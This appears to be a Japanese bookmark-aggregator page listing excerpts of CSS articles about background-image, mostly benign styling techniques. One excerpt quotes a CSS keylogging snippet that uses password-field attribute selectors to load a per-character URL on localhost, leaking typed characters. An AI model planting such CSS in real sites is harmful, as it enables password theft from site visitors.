backgruond-imageを使ったCSSのアニメーションテクニック - ICS MEDIA

2022/06/02 128 users background-imageプロパティ CSS 特性

CSSのbackground-imageプロパティは背景画像に関するCSSですが、単に背景に画像を表示させるだけでなく、実はアニメーションと組み合わせて多彩な表現ができます。本記事ではbackground-imageの特性を活かしたアニメーション表現について解説します。 サンプルコードもありますので、実際の案件に取り入れてみたりbackgr... 続きを読む

filterプロパティで、どんな背景画像でもテキストが読める状態にする | かちびと.net

2019/05/07 10 users result fff ＢＧ 語弊 明度

Result どんな背景でもテキストを読める状態にする、というもの ちょっと語弊があるかもしれませんが、要は背景画像の明度とコントラストをfilterプロパティで抑えて#fffに指定したテキストの可読性を維持しよう、という内容です CGMサイトなんかで使う機会があるかも、と思ったので備忘録 css .bg { background-image:u... 続きを読む

世界一無駄な、画像をCSSで書き換えるジェネレーターを作った+検証 - Qiita

2018/12/19 7 users Qiita div URL ジェネレーター Style

これですよね。 それ以外にも画像を表示させる方法はいろいろ。 画像を表示させる方法 わりと使うのがbackground-imageに指定してあげるやつ <div class="main-image"></div> <style> .main-image { background-image: url("http://...") } </style> 次はbase64エンコードされたやつを埋め込むやつ。 小さい画像なら埋め... 続きを読む

CSSだけでキーロガーを作る - R42日記

2018/02/27 361 users キーロガー localhost maxchehab URL

2018 - 02 - 21 CSSだけでキーロガーを作る https://github.com/maxchehab/CSS-Keylogging よくもまあこんなこと思いついたなw 要するに、 input [ type = "password" ][ value $= "a" ] { background-image : url( "http://localhost:3000/a" ) ; } ... 続きを読む

ウェブマスター ツール チェックリスト - ウェブマスター ツール ヘルプ

2013/02/03 1119 users ヘルプ ウェブマスター ツール チェックリスト URL 手順

このチェックリストでは、 ウェブマスター ツール アカウントを効果的に設定して実行するための手順をご案内します。どこまで進んだかを随時確認して、次に必要な手順を詳しくご覧いただけます。 <li class="icon" style="background-image:url('http://www.google.com/help/hc/images/webmasters/webmasters_10... 続きを読む

Compassでスプライト画象を高速に書き出す方法[to-R]

2012/12/03 35 users Compass コンパイル PNG to-R $name

Compassでスプライト画象を高速に書き出す方法 Check Tweet CompassでRetina対応をするとコンパイルにやたらと時間がかかってしまいます。 以下のままですとすごく時間がかかるのですが、 $sprites: sprite-map("sprites/*.png"); @mixin sprite-background($name) { background-image: spri... 続きを読む

[CSS]Retinaディスプレイを考慮したCSSスプライトの実装方法 | コリス

2012/08/02 162 users コリス テクニッ CSSスプライト Retinaディスプレイ

新しいiPad, iPhone4, MacBook Proなどに採用されているRetinaディスプレイを考慮したCSSスプライトの実装方法を紹介します。 Using CSS Sprites to optimize your website for Retina Displays CSSスプライトとは複数のアイテムを一枚の画像に配置し、background-imageで表示する範囲を指定するテクニッ... 続きを読む

about:newtab に背景画像を仕込む - hogehoge @teramako

2012/06/18 14 users hogehoge teramako cover center

Firefoxえーと、こんな感じ。 @-moz-document url(“about:newtab”) { #newtab-vertical-margin { background-image: url("file:///G:/image/madoka_magika/mami_5.jpg"); background-size: cover; background-position: center... 続きを読む

CSS3のみでフルスクリーンの背景画像を実装する方法まとめ3つ - W3Q

2012/01/06 39 users フルスクリーン CSS3 背景画像 W3Q プリフィックス

IE6では背景画像は拡大・縮小されません。 Safari、Google Chrome、Operaですでに実装されています。 Firefoxもプリフィックス「-moz-」で適用されます。 IE8では残念ながら未実装でした。 指定要素に背景画像が常にある形でフィット - cover -  div {      background-image:url(画像URL);      background-p... 続きを読む

jQuery.gpTileを使うと、タイル状の背景画像ぴったりのサイズになります。 | Ginpen.com

2011/10/21 25 users Ginpen.com タイル状 要素 途中 概要

概要 背景画像（background-image）のサイズの等倍になるよう要素のサイズを調整します。途中で切れると妙に見えるようなデザインで効果を発揮します。 ダウンロード jQuery.gpTile-1.0.zip [90KB] 基本的な使い方 .gpTile()を実行すると背景画像のサイズを取得し、背景画像をちょうど表示しきるだけのサイズに変更します。対象要素の現在サイズは下回りません。 $(... 続きを読む